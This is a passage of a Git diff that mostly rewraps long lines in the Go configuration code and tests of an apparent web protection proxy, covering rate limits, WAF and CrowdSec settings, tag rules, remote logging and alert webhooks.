env.certificates("SWW_LOG_REMOTE_TLS_CA_FILE"), - LogRemoteBuffer: env.numberNotOff("SWW_LOG_REMOTE_BUFFER", "10000"), - LogRemoteFacility: env.facility("SWW_LOG_REMOTE_FACILITY", "local0"), - AlertWebhookURL: env.webhookURL("SWW_ALERT_WEBHOOK_URL"), - AlertWebhookHeaders: env.webhookHeaders("SWW_ALERT_WEBHOOK_HEADERS"), + TrapPaths: env.trapPaths("SWW_TRAP_PATHS"), + ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"), + LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"), + LogRemoteTLSCAs: env.certificates("SWW_LOG_REMOTE_TLS_CA_FILE"), + LogRemoteBuffer: env.numberNotOff( + "SWW_LOG_REMOTE_BUFFER", + "10000", + ), + LogRemoteFacility: env.facility( + "SWW_LOG_REMOTE_FACILITY", + "local0", + ), + AlertWebhookURL: env.webhookURL("SWW_ALERT_WEBHOOK_URL"), + AlertWebhookHeaders: env.webhookHeaders( + "SWW_ALERT_WEBHOOK_HEADERS", + ), AlertSlackWebhookURL: env.webhookURL("SWW_ALERT_SLACK_WEBHOOK_URL"), AlertNtfyURL: env.webhookURL("SWW_ALERT_NTFY_URL"), AlertNtfyToken: env.secret("SWW_ALERT_NTFY_TOKEN"), @@ -721,7 +811,8 @@ func (e *environment) lookup(name string) (string, bool) { e.settings = append(e.settings, slog.String(fileName, path)) - contents, err := os.ReadFile(path) //nolint:gosec // a file the admin names + //nolint:gosec // a file the admin names + contents, err := os.ReadFile(path) if err != nil { e.check(fileName, fmt.Errorf("cannot be read: %w", err)) @@ -1071,7 +1162,10 @@ func (e *environment) checkLookupDBPath(cfg *Config) { "is file while SWW_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath)) case cfg.LookupSource != fileSource && cfg.LookupDBPath != "": e.check("SWW_LOOKUP_DB_PATH", fmt.Errorf( - "is set while SWW_LOOKUP_SOURCE is %s; %w", cfg.LookupSource, errDBPathUnused)) + "is set while SWW_LOOKUP_SOURCE is %s; %w", + cfg.LookupSource, + errDBPathUnused, + )) } } @@ -1120,8 +1214,11 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) { {"SWW_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0}, } { if setting.set { - e.check(setting.name, fmt.Errorf("is set while SWW_LOOKUP_SOURCE is off; %w", - errNeedsLookups)) + e.check( + setting.name, + fmt.Errorf("is set while SWW_LOOKUP_SOURCE is off; %w", + errNeedsLookups), + ) } } } @@ -1144,14 +1241,21 @@ func (e *environment) checkCrowdSec(cfg *Config) { switch { case decisionsURL != "" && cfg.CrowdSecKey == "": e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf( - "is set while SWW_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey)) + "is set while SWW_CROWDSEC_LAPI_KEY is unset; %w", + errNeedsLAPIKey, + )) case decisionsURL == "" && cfg.CrowdSecKey != "": e.check("SWW_CROWDSEC_LAPI_KEY", fmt.Errorf( - "is set while SWW_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused)) + "is set while SWW_CROWDSEC_LAPI_URL is unset; %w", + errLAPIKeyUnused, + )) case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) || decisionsURL == cfg.ASNLimitPercentURL): - e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w", - decisionsURL, errAnotherList)) + e.check( + "SWW_CROWDSEC_LAPI_URL", + fmt.Errorf("gives the decision list %q, which %w", + decisionsURL, errAnotherList), + ) } } @@ -1161,7 +1265,10 @@ func (e *environment) checkTagLists(cfg *Config) { for _, list := range cfg.TagLists { if slices.Contains(cfg.BlocklistURLs, list.URL) || list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL { - e.check("SWW_TAG_LISTS", fmt.Errorf("%q %w", list.URL, errFetchedOtherwise)) + e.check( + "SWW_TAG_LISTS", + fmt.Errorf("%q %w", list.URL, errFetchedOtherwise), + ) } } } @@ -1200,7 +1307,8 @@ func requestCanGetTag(cfg *Config, tag string) bool { } if tag == ExploitSignatureTag { - coreRuleSetOn := cfg.WAFMode != WAFModeOff && cfg.WAFAnomalyThreshold != 0 + coreRuleSetOn := cfg.WAFMode != WAFModeOff && + cfg.WAFAnomalyThreshold != 0 return cfg.RulesEnabled || coreRuleSetOn } @@ -1215,15 +1323,17 @@ func requestCanGetTag(cfg *Config, tag string) bool { zone, isZoneTag := strings.CutPrefix(tag, DNSBLTagPrefix) - return isZoneTag && slices.ContainsFunc(cfg.DNSBLZones, func(each string) bool { - return strings.ToLower(MaskZoneKey(each)) == zone - }) + return isZoneTag && + slices.ContainsFunc(cfg.DNSBLZones, func(each string) bool { + return strings.ToLower(MaskZoneKey(each)) == zone + }) } // TagsNeedLookup reports whether SWW_TAG_DENY or SWW_TAG_LIMIT_PERCENT // names an asn= or country= tag. func (c *Config) TagsNeedLookup() bool { - return slices.ContainsFunc(c.TagDeny, isLookupTag) || tagLimitNeedsLookups(c) + return slices.ContainsFunc(c.TagDeny, isLookupTag) || + tagLimitNeedsLookups(c) } // tagLimitNeedsLookups reports whether SWW_TAG_LIMIT_PERCENT names an asn= @@ -1240,7 +1350,8 @@ func tagLimitNeedsLookups(cfg *Config) bool { // isLookupTag reports whether tag is an asn= or country= tag. func isLookupTag(tag string) bool { - return strings.HasPrefix(tag, ASNTagPrefix) || strings.HasPrefix(tag, CountryTagPrefix) + return strings.HasPrefix(tag, ASNTagPrefix) || + strings.HasPrefix(tag, CountryTagPrefix) } // headerNames reads a setting that is a list of header names, and @@ -1471,8 +1582,11 @@ func (e *environment) appName( case set: e.check(name, fmt.Errorf("%q %w", value, errNotAppName)) case sending: - e.check(name, fmt.Errorf("is unset, and SWW_INSTANCE_NAME %q, its default, %w", - value, errNotAppName)) + e.check( + name, + fmt.Errorf("is unset, and SWW_INSTANCE_NAME %q, its default, %w", + value, errNotAppName), + ) } return value @@ -1488,7 +1602,9 @@ func (e *environment) checkInstanceNameForNtfy( if ntfySet && strings.ContainsFunc(instanceName, unicode.IsControl) { e.check("SWW_INSTANCE_NAME", fmt.Errorf( "%q %w, and is sent to ntfy in a header while SWW_ALERT_NTFY_URL is set", - instanceName, errControlCharacter)) + instanceName, + errControlCharacter, + )) } } @@ -2031,7 +2147,11 @@ func parseTags(value string) ([]string, error) { } if slices.Contains(tags, tag) { - return nil, fmt.Errorf("%q %w", MaskZoneKey(item), errListedTwice) + return nil, fmt.Errorf( + "%q %w", + MaskZoneKey(item), + errListedTwice, + ) } tags = append(tags, tag) @@ -2096,7 +2216,11 @@ func parseTagPercents(value string) (map[string]int64, error) { for _, item := range items { colon := strings.LastIndex(item, ":") if colon <= 0 { - return nil, fmt.Errorf("%q %w", MaskZoneKey(item), errNotTagPercentItem) + return nil, fmt.Errorf( + "%q %w", + MaskZoneKey(item), + errNotTagPercentItem, + ) } tag, err := parseTag(item[:colon]) @@ -2106,7 +2230,11 @@ func parseTagPercents(value string) (map[string]int64, error) { percent, err := strconv.ParseInt(item[colon+1:], 10, 64) if err != nil || percent < 1 || percent > 99 { - return nil, fmt.Errorf("%q %w", MaskZoneKey(item[colon+1:]), errNotTagPercent) + return nil, fmt.Errorf( + "%q %w", + MaskZoneKey(item[colon+1:]), + errNotTagPercent, + ) } if tag == ExploitSignatureTag { @@ -2257,7 +2385,8 @@ func parseUpstreamURL(value string) (*url.URL, error) { } onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") && - upstream.Hostname() != "" && upstream.User == nil && + upstream.Hostname() != "" && + upstream.User == nil && upstream.Opaque == "" && (upstream.Path == "" || upstream.Path == "/") && upstream.RawQuery == "" && @@ -2350,7 +2479,8 @@ func parseWebhookURL(value string) (*url.URL, string, error) { func isHTTPURL(u *url.URL) bool { port, err := strconv.ParseUint(u.Port(), 10, 16) - return (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != "" && + return (u.Scheme == "http" || u.Scheme == "https") && + u.Hostname() != "" && (u.Port() == "" || (err == nil && port != 0)) && u.User == nil && u.Opaque == "" && diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 85bb141..a463781 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -128,12 +128,23 @@ const ( // anomalyScopes returns the prefixes of the anomaly thresholds, one for // each scope. func anomalyScopes() []string { - return []string{anomalyClient, anomalyNet, anomalyASN, anomalyTotal, watch} + return []string{ + anomalyClient, + anomalyNet, + anomalyASN, + anomalyTotal, + watch, + } } // anomalyThresholds returns the names of the twenty anomaly thresholds. func anomalyThresholds() []string { - ends := []string{requestsPerMinute, requestsPerHour, bytesPerMinute, bytesPerHour} + ends := []string{ + requestsPerMinute, + requestsPerHour, + bytesPerMinute, + bytesPerHour, + } names := make([]string, 0, len(anomalyScopes())*len(ends)) for _, scope := range anomalyScopes() { @@ -282,7 +293,8 @@ func TestDefaults(t *testing.T) { wantNetblocks(t, cfg.DenyNets) wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries) - if len(cfg.TagLists) != 0 || len(cfg.TagDeny) != 0 || len(cfg.TagLimitPercent) != 0 { + if len(cfg.TagLists) != 0 || len(cfg.TagDeny) != 0 || + len(cfg.TagLimitPercent) != 0 { t.Errorf("tag settings %v, %v and %v by default, want all empty", cfg.TagLists, cfg.TagDeny, cfg.TagLimitPercent) } @@ -295,12 +307,20 @@ func TestDefaults(t *testing.T) { wantHeaders := strings.Split(defaultLogRequestHeaders, ",") if !slices.Equal(cfg.LogRequestHeaders, wantHeaders) { - t.Errorf("%s gave %v, want %v", logRequestHeaders, cfg.LogRequestHeaders, - wantHeaders) + t.Errorf( + "%s gave %v, want %v", + logRequestHeaders, + cfg.LogRequestHeaders, + wantHeaders, + ) } if len(cfg.RateLimitExemptPaths) != 0 { - t.Errorf("%s gave %v, want none", rateLimitExemptPaths, cfg.RateLimitExemptPaths) + t.Errorf( + "%s gave %v, want none", + rateLimitExemptPaths, + cfg.RateLimitExemptPaths, + ) } } @@ -320,7 +340,11 @@ func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) { cfg.BytesLimitPerMinute, cfg.BytesLimitPerHour, cfg.BytesLimitPerDay, } { if limit != 0 && largest > limit { // 0 is off - t.Errorf("a request of %d bytes breaks the byte limit of %d", largest, limit) + t.Errorf( + "a request of %d bytes breaks the byte limit of %d", + largest, + limit, + ) } } } @@ -399,7 +423,8 @@ func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) { }, } { cfg := fromEnvironment(t, tc.env) - if cfg.IPv6GroupPrefix != tc.prefix || cfg.MaxTrackedClients != tc.clients || + if cfg.IPv6GroupPrefix != tc.prefix || + cfg.MaxTrackedClients != tc.clients || cfg.LogLevel != tc.level { t.Errorf("%v gave %d, %d and %v, want %d, %d and %v", tc.env, cfg.IPv6GroupPrefix, cfg.MaxTrackedClients, cfg.LogLevel, @@ -412,9 +437,17 @@ func TestIPv6GroupPrefixFrom32To128(t *testing.T) { t.Parallel() for _, length := range []int{32, 128} { - cfg := fromEnvironment(t, environment{ipv6GroupPrefix: strconv.Itoa(length)}) + cfg := fromEnvironment( + t, + environment{ipv6GroupPrefix: strconv.Itoa(length)}, + ) if cfg.IPv6GroupPrefix != length { - t.Errorf("%s=%d gave %d", ipv6GroupPrefix, length, cfg.IPv6GroupPrefix) + t.Errorf( + "%s=%d gave %d", + ipv6GroupPrefix, + length, + cfg.IPv6GroupPrefix, + ) } } } @@ -430,7 +463,13 @@ func TestEachLogLevel(t *testing.T) { } { cfg := fromEnvironment(t, environment{logLevel: value}) if cfg.LogLevel != want { - t.Errorf("%s=%s gave %v, want %v", logLevel, value, cfg.LogLevel, want) + t.Errorf( + "%s=%s gave %v, want %v", + logLevel, + value, + cfg.LogLevel, + want, + ) } } } @@ -454,9 +493,15 @@ func TestByteLimitSettingsAsSet(t *testing.T) { func TestRateLimitExemptPathsAsSet(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{rateLimitExemptPaths: "/assets/, /favicon.ico"}) + cfg := fromEnvironment( + t, + environment{rateLimitExemptPaths: "/assets/, /favicon.ico"}, + ) - if !slices.Equal(cfg.RateLimitExemptPaths, []string{"/assets/", "/favicon.ico"}) { + if !slices.Equal( + cfg.RateLimitExemptPaths, + []string{"/assets/", "/favicon.ico"}, + ) { t.Errorf("%s gave %v, want /assets/ and /favicon.ico", rateLimitExemptPaths, cfg.RateLimitExemptPaths) } @@ -493,8 +538,14 @@ func TestTrapPathsAndErrorBurstThreshold(t *testing.T) { cfg := fromEnvironment(t, tc.env) if !slices.Equal(cfg.TrapPaths, tc.paths) || cfg.ErrorBurstThreshold != tc.threshold { - t.Errorf("%v gave %v and %d, want %v and %d", tc.env, cfg.TrapPaths, - cfg.ErrorBurstThreshold, tc.paths, tc.threshold) + t.Errorf( + "%v gave %v and %d, want %v and %d", + tc.env, + cfg.TrapPaths, + cfg.ErrorBurstThreshold, + tc.paths, + tc.threshold, + ) } } } @@ -521,7 +572,9 @@ func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + _, err := config.FromEnvironment( + environment{tc.name: tc.value}.lookupEnv, + ) want := tc.name + ": " + tc.want if err == nil || err.Error() != want { @@ -650,7 +703,9 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + _, err := config.FromEnvironment( + environment{tc.name: tc.value}.lookupEnv, + ) want := tc.name + ": " + tc.want if err == nil || err.Error() != want { @@ -669,7 +724,10 @@ func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { }) if cfg.InstanceName != "fsn1app1/blog" || - !slices.Equal(cfg.LogRequestHeaders, []string{"accept", "x-custom"}) { + !slices.Equal( + cfg.LogRequestHeaders, + []string{"accept", "x-custom"}, + ) { t.Errorf("%s is %q and %s gives %v", instanceName, cfg.InstanceName, logRequestHeaders, cfg.LogRequestHeaders) } @@ -683,10 +741,17 @@ func TestRemoteLogSettingsDefaults(t *testing.T) { if cfg.LogRemoteURL != nil || cfg.LogRemoteTLSCAs != nil || cfg.LogRemoteBuffer != 10000 || cfg.LogRemoteFacility != 16 || cfg.LogRemoteAppName != instance { - t.Errorf("remote log settings %v, %v, %d, %d and %q, want no URL, no "+ - "certificates, 10000, 16 and %s's %s", cfg.LogRemoteURL, - cfg.LogRemoteTLSCAs, cfg.LogRemoteBuffer, cfg.LogRemoteFacility, - cfg.LogRemoteAppName, instanceName, instance) + t.Errorf( + "remote log settings %v, %v, %d, %d and %q, want no URL, no "+ + "certificates, 10000, 16 and %s's %s", + cfg.LogRemoteURL, + cfg.LogRemoteTLSCAs, + cfg.LogRemoteBuffer, + cfg.LogRemoteFacility, + cfg.LogRemoteAppName, + instanceName, + instance, + ) } } @@ -714,9 +779,14 @@ func TestRemoteLogSettingsAsSet(t *testing.T) { if cfg.LogRemoteURL.String() != "syslog+tls://logs.example:6514" || !roots.Equal(cfg.LogRemoteTLSCAs) || cfg.LogRemoteBuffer != 500 || cfg.LogRemoteFacility != 3 || cfg.LogRemoteAppName != instance { - t.Errorf("remote log settings %v, %v, %d, %d and %q", cfg.LogRemoteURL, - cfg.LogRemoteTLSCAs, cfg.LogRemoteBuffer, cfg.LogRemoteFacility, - cfg.LogRemoteAppName) + t.Errorf( + "remote log settings %v, %v, %d, %d and %q", + cfg.LogRemoteURL, + cfg.LogRemoteTLSCAs, + cfg.LogRemoteBuffer, + cfg.LogRemoteFacility, + cfg.LogRemoteAppName, + ) } } @@ -736,7 +806,11 @@ func TestRemoteLogURLForms(t *testing.T) { cfg := fromEnvironment(t, environment{logRemoteURL: ""}) if cfg.LogRemoteURL != nil { - t.Errorf("set but empty, %s read as %v", logRemoteURL, cfg.LogRemoteURL) + t.Errorf( + "set but empty, %s read as %v", + logRemoteURL, + cfg.LogRemoteURL, + ) } } @@ -749,7 +823,12 @@ func TestRemoteLogFacilitiesByNumber(t *testing.T) { } { cfg := fromEnvironment(t, environment{logRemoteFacility: name}) if cfg.LogRemoteFacility != number { - t.Errorf("%s read as %d, want %d", name, cfg.LogRemoteFacility, number) + t.Errorf( + "%s read as %d, want %d", + name, + cfg.LogRemoteFacility, + number, + ) } } } @@ -775,9 +854,16 @@ func TestInvalidRemoteLogSettingStopsTheStart(t *testing.T) { {logRemoteAppName, ""}, {logRemoteAppName, "my app"}, {logRemoteAppName, "gitéa"}, {logRemoteAppName, strings.Repeat("a", 49)}, } { - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + _, err := config.FromEnvironment( + environment{tc.name: tc.value}.lookupEnv, + ) if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { - t.Errorf("%s=%q: error %v, want one naming it", tc.name, tc.value, err) + t.Errorf( + "%s=%q: error %v, want one naming it", + tc.name, + tc.value, + err, + ) } } } @@ -792,7 +878,9 @@ func TestRemoteLogCAFileWithoutCertificateStopsTheStart(t *testing.T) { t.Fatalf("write %s: %v", caFile, err) } - _, err = config.FromEnvironment(environment{logRemoteTLSCAFile: caFile}.lookupEnv) + _, err = config.FromEnvironment( + environment{logRemoteTLSCAFile: caFile}.lookupEnv, + ) want := logRemoteTLSCAFile + `: "` + caFile + `" holds no PEM certificate` if err == nil || err.Error() != want { @@ -800,7 +888,9 @@ func TestRemoteLogCAFileWithoutCertificateStopsTheStart(t *testing.T) { } } -func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(t *testing.T) { +func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending( + t *testing.T, +) { t.Parallel() const spaced = "fsn1 app1" @@ -818,7 +908,11 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(t *testing.T) { cfg := fromEnvironment(t, environment{instanceName: spaced}) if cfg.LogRemoteAppName != spaced { - t.Errorf("not sending, %s is %q", logRemoteAppName, cfg.LogRemoteAppName) + t.Errorf( + "not sending, %s is %q", + logRemoteAppName, + cfg.LogRemoteAppName, + ) } sending[logRemoteAppName] = instance @@ -856,11 +950,19 @@ func TestAlertSettingsDefaults(t *testing.T) { cfg.AlertNtfyToken != "" || strings.Join(cfg.AlertEvents, ",") != defaultAlertEvents || cfg.AlertCooldown != 15*time.Minute || cfg.AlertMaxPerHour != 60 { - t.Errorf("alert settings %v, %v, %v, %v, %q, %v, %s and %d, want no URLs, "+ - "no headers, no token, %s, 15m and 60", cfg.AlertWebhookURL, - cfg.AlertWebhookHeaders, cfg.AlertSlackWebhookURL, cfg.AlertNtfyURL, - cfg.AlertNtfyToken, cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour, - defaultAlertEvents) + t.Errorf( + "alert settings %v, %v, %v, %v, %q, %v, %s and %d, want no URLs, "+ + "no headers, no token, %s, 15m and 60", + cfg.AlertWebhookURL, + cfg.AlertWebhookHeaders, + cfg.AlertSlackWebhookURL, + cfg.AlertNtfyURL, + cfg.AlertNtfyToken, + cfg.AlertEvents, + cfg.AlertCooldown, + cfg.AlertMaxPerHour, + defaultAlertEvents, + ) } } @@ -885,16 +987,27 @@ func TestAlertSettingsAsSet(t *testing.T) { alertMaxPerHour: "10", }) - headers := http.Header{"Authorization": {"Bearer abc:def"}, "X-Team": {"ops"}} + headers := http.Header{ + "Authorization": {"Bearer abc:def"}, + "X-Team": {"ops"}, + } if cfg.AlertWebhookURL.String() != webhook || !reflect.DeepEqual(cfg.AlertWebhookHeaders, headers) || cfg.AlertSlackWebhookURL.String() != slack || cfg.AlertNtfyURL.String() != ntfy || cfg.AlertNtfyToken != token || !slices.Equal(cfg.AlertEvents, []string{"ban", "file_error"}) || cfg.AlertCooldown != time.Hour || cfg.AlertMaxPerHour != 10 { - t.Errorf("alert settings %v, %v, %v, %v, %q, %v, %s and %d", cfg.AlertWebhookURL, - cfg.AlertWebhookHeaders, cfg.AlertSlackWebhookURL, cfg.AlertNtfyURL, - cfg.AlertNtfyToken, cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour) + t.Errorf( + "alert settings %v, %v, %v, %v, %q, %v, %s and %d", + cfg.AlertWebhookURL, + cfg.AlertWebhookHeaders, + cfg.AlertSlackWebhookURL, + cfg.AlertNtfyURL, + cfg.AlertNtfyToken, + cfg.AlertEvents, + cfg.AlertCooldown, + cfg.AlertMaxPerHour, + ) } } @@ -907,10 +1020,19 @@ func TestAlertSettingsSetEmptyOrOff(t *testing.T) { }) if cfg.AlertWebhookURL != nil || cfg.AlertSlackWebhookURL != nil || cfg.AlertNtfyURL != nil || cfg.AlertNtfyToken != "" || - len(cfg.AlertEvents) != 0 || cfg.AlertCooldown != 0 || cfg.AlertMaxPerHour != 0 { - t.Errorf("set empty or off, alert settings %v, %v, %v, %q, %v, %s and %d", - cfg.AlertWebhookURL, cfg.AlertSlackWebhookURL, cfg.AlertNtfyURL, - cfg.AlertNtfyToken, cfg.AlertEvents, cfg.AlertCooldown, cfg.AlertMaxPerHour) + len( + cfg.AlertEvents, + ) != 0 || cfg.AlertCooldown != 0 || cfg.AlertMaxPerHour != 0 { + t.Errorf( + "set empty or off, alert settings %v, %v, %v, %q, %v, %s and %d", + cfg.AlertWebhookURL, + cfg.AlertSlackWebhookURL, + cfg.AlertNtfyURL, + cfg.AlertNtfyToken, + cfg.AlertEvents, + cfg.AlertCooldown, + cfg.AlertMaxPerHour, + ) } } @@ -956,12 +1078,15 @@ func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) { var out bytes.Buffer - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) logged := out.String() if strings.Contains(logged, secret) || strings.Contains(logged, "ops") || - !strings.Contains(logged, - `"`+alertWebhookHeaders+`":"Authorization:********,X-Team:********"`) { + !strings.Contains( + logged, + `"`+alertWebhookHeaders+`":"Authorization:********,X-Team:********"`, + ) { t.Errorf("the headers are not logged masked: %s", logged) } @@ -991,7 +1116,8 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) { var out bytes.Buffer - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) logged := out.String() if strings.Contains(logged, secret) || @@ -1005,7 +1131,9 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) { "ftp://hooks.example/services/" + secret, "https://hooks.example/services/%zz" + secret, } { - _, err := config.FromEnvironment(environment{alertWebhookURL: value}.lookupEnv) + _, err := config.FromEnvironment( + environment{alertWebhookURL: value}.lookupEnv, + ) want := alertWebhookURL + ": is not an http or https URL without a user or " + "a fragment, such as https://alerts.example/sww" @@ -1028,7 +1156,8 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) { var out bytes.Buffer - slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + slog.New(slog.NewJSONHandler(&out, nil)). + Info("starting", "settings", cfg) logged := out.String() for _, want := range []string{ @@ -1048,7 +1177,9 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) { } } -func TestNtfyTokenWithAControlCharacterStopsTheStartWithoutShowingIt(t *testing.T) { +func TestNtfyTokenWithAControlCharacterStopsTheStartWithoutShowingIt( + t *testing.T, +) { t.Parallel() // A file saved with Windows line ends keeps the carriage return. @@ -1066,7 +1197,9 @@ func TestNtfyTokenWithAControlCharacterStopsTheStartWithoutShowingIt(t *testing. } } -func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(t *testing.T) { +func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet( + t *testing.T, +) { t.Parallel() const name = "fsn1app1\r" @@ -1084,7 +1217,11 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(t *testin cfg := fromEnvironment(t, environment{instanceName: name}) if cfg.InstanceName != name { - t.Errorf("not sending to ntfy, %s is %q", instanceName, cfg.InstanceName) + t.Errorf( + "not sending to ntfy, %s is %q", + instanceName, + cfg.InstanceName, + ) } } @@ -1115,7 +1252,9 @@ func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) { allowedCountries: "de,RU", }.lookupEnv) if err == nil { - t.Fatal("ru in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_TAG_DENY was accepted") + t.Fatal( + "ru in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_TAG_DENY was accepted", + ) } if !strings.HasPrefix(err.Error(), allowedCountries+": ") || @@ -1146,7 +1285,10 @@ func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) { const path = "/var/lib/ipinfo/ipinfo_lite.mmdb" - cfg := fromEnvironment(t, environment{lookupSource: fileSource, lookupDBPath: path}) + cfg := fromEnvironment( + t, + environment{lookupSource: fileSource, lookupDBPath: path}, + ) if cfg.LookupSource != fileSource || cfg.LookupDBPath != path { t.Errorf("lookups from %q in %q, want file in %q", cfg.LookupSource, cfg.LookupDBPath, path) @@ -1207,7 +1349,12 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { }.lookupEnv) if err == nil || !strings.HasPrefix(err.Error(), name+": ") || !strings.Contains(err.Error(), lookupSource+" is off") { - t.Errorf("error %v, want one naming %s and %s", err, name, lookupSource) + t.Errorf( + "error %v, want one naming %s and %s", + err, + name, + lookupSource, + ) } }) } @@ -1241,9 +1388,15 @@ func TestAnomalySettingsDefaults(t *testing.T) { if cfg.AnomalyNetV4Prefix != 24 || cfg.AnomalyNetV6Prefix != 48 || len(cfg.WatchNets) != 0 { - t.Errorf("%s, %s and %s gave %d, %d and %v, want 24, 48 and none", - anomalyNetV4Prefix, anomalyNetV6Prefix, watchNets, cfg.AnomalyNetV4Prefix, - cfg.AnomalyNetV6Prefix, cfg.WatchNets) + t.Errorf( + "%s, %s and %s gave %d, %d and %v, want 24, 48 and none", + anomalyNetV4Prefix, + anomalyNetV6Prefix, + watchNets, + cfg.AnomalyNetV4Prefix, + cfg.AnomalyNetV6Prefix, + cfg.WatchNets, + ) } } @@ -1279,14 +1432,24 @@ func TestAnomalySettingsAsSet(t *testing.T) { wantNamed := []anomaly.NamedNetblock{ {Name: "office", Netblock: netip.MustParsePrefix("203.0.113.0/24")}, - {Name: "scraper-x", Netblock: netip.MustParsePrefix("198.51.100.7/32")}, + { + Name: "scraper-x", + Netblock: netip.MustParsePrefix("198.51.100.7/32"), + }, {Name: "v6", Netblock: netip.MustParsePrefix("2001:db8::/32")}, } if cfg.AnomalyNetV4Prefix != 16 || cfg.AnomalyNetV6Prefix != 56 || !slices.Equal(cfg.WatchNets, wantNamed) { - t.Errorf("%s, %s and %s gave %d, %d and %v, want 16, 56 and %v", - anomalyNetV4Prefix, anomalyNetV6Prefix, watchNets, cfg.AnomalyNetV4Prefix, - cfg.AnomalyNetV6Prefix, cfg.WatchNets, wantNamed) + t.Errorf( + "%s, %s and %s gave %d, %d and %v, want 16, 56 and %v", + anomalyNetV4Prefix, + anomalyNetV6Prefix, + watchNets, + cfg.AnomalyNetV4Prefix, + cfg.AnomalyNetV6Prefix, + cfg.WatchNets, + wantNamed, + ) } // off switches each threshold off. @@ -1355,7 +1518,9 @@ func TestInvalidAnomalySettingStopsTheStartSayingWhatIsWrong(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + _, err := config.FromEnvironment( + environment{tc.name: tc.value}.lookupEnv, + ) want := tc.name + ": " + tc.want if err == nil || err.Error() != want { @@ -1404,7 +1569,12 @@ func TestTagSettingsAsSet(t *testing.T) { "vpn=mullvad": 50, "asn=14061": 25, "country=CN": 1, zenTag: 99, } if !maps.Equal(cfg.TagLimitPercent, wantPercents) { - t.Errorf("%s gave %v, want %v", tagLimitPercent, cfg.TagLimitPercent, wantPercents) + t.Errorf( + "%s gave %v, want %v", + tagLimitPercent, + cfg.TagLimitPercent, + wantPercents, + ) } } @@ -1414,7 +1584,11 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) { const rw = "https://routewatch.example" if cfg := fromEnvironment(t, environment{}); cfg.RouteWatchURL != "" { - t.Errorf("default %s is %q, want unset", routeWatchURL, cfg.RouteWatchURL) + t.Errorf( + "default %s is %q, want unset", + routeWatchURL, + cfg.RouteWatchURL, + ) } cfg := fromEnvironment(t, environment{ @@ -1425,7 +1599,12 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) { if cfg.RouteWatchURL != rw || !slices.Equal(cfg.TagDeny, wantDeny) || cfg.TagLimitPercent["prefix=192.0.2.0/24"] != 50 { - t.Errorf("gave %q, %v, %v", cfg.RouteWatchURL, cfg.TagDeny, cfg.TagLimitPercent) + t.Errorf( + "gave %q, %v, %v", + cfg.RouteWatchURL, + cfg.TagDeny, + cfg.TagLimitPercent, + ) } // routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set. @@ -1451,7 +1630,12 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) { } { _, err := config.FromEnvironment(stopped.env.lookupEnv) if err == nil || !strings.HasPrefix(err.Error(), stopped.name+": ") { - t.Errorf("%v gave the error %v, want one naming %s", stopped.env, err, stopped.name) + t.Errorf( + "%v gave the error %v, want one 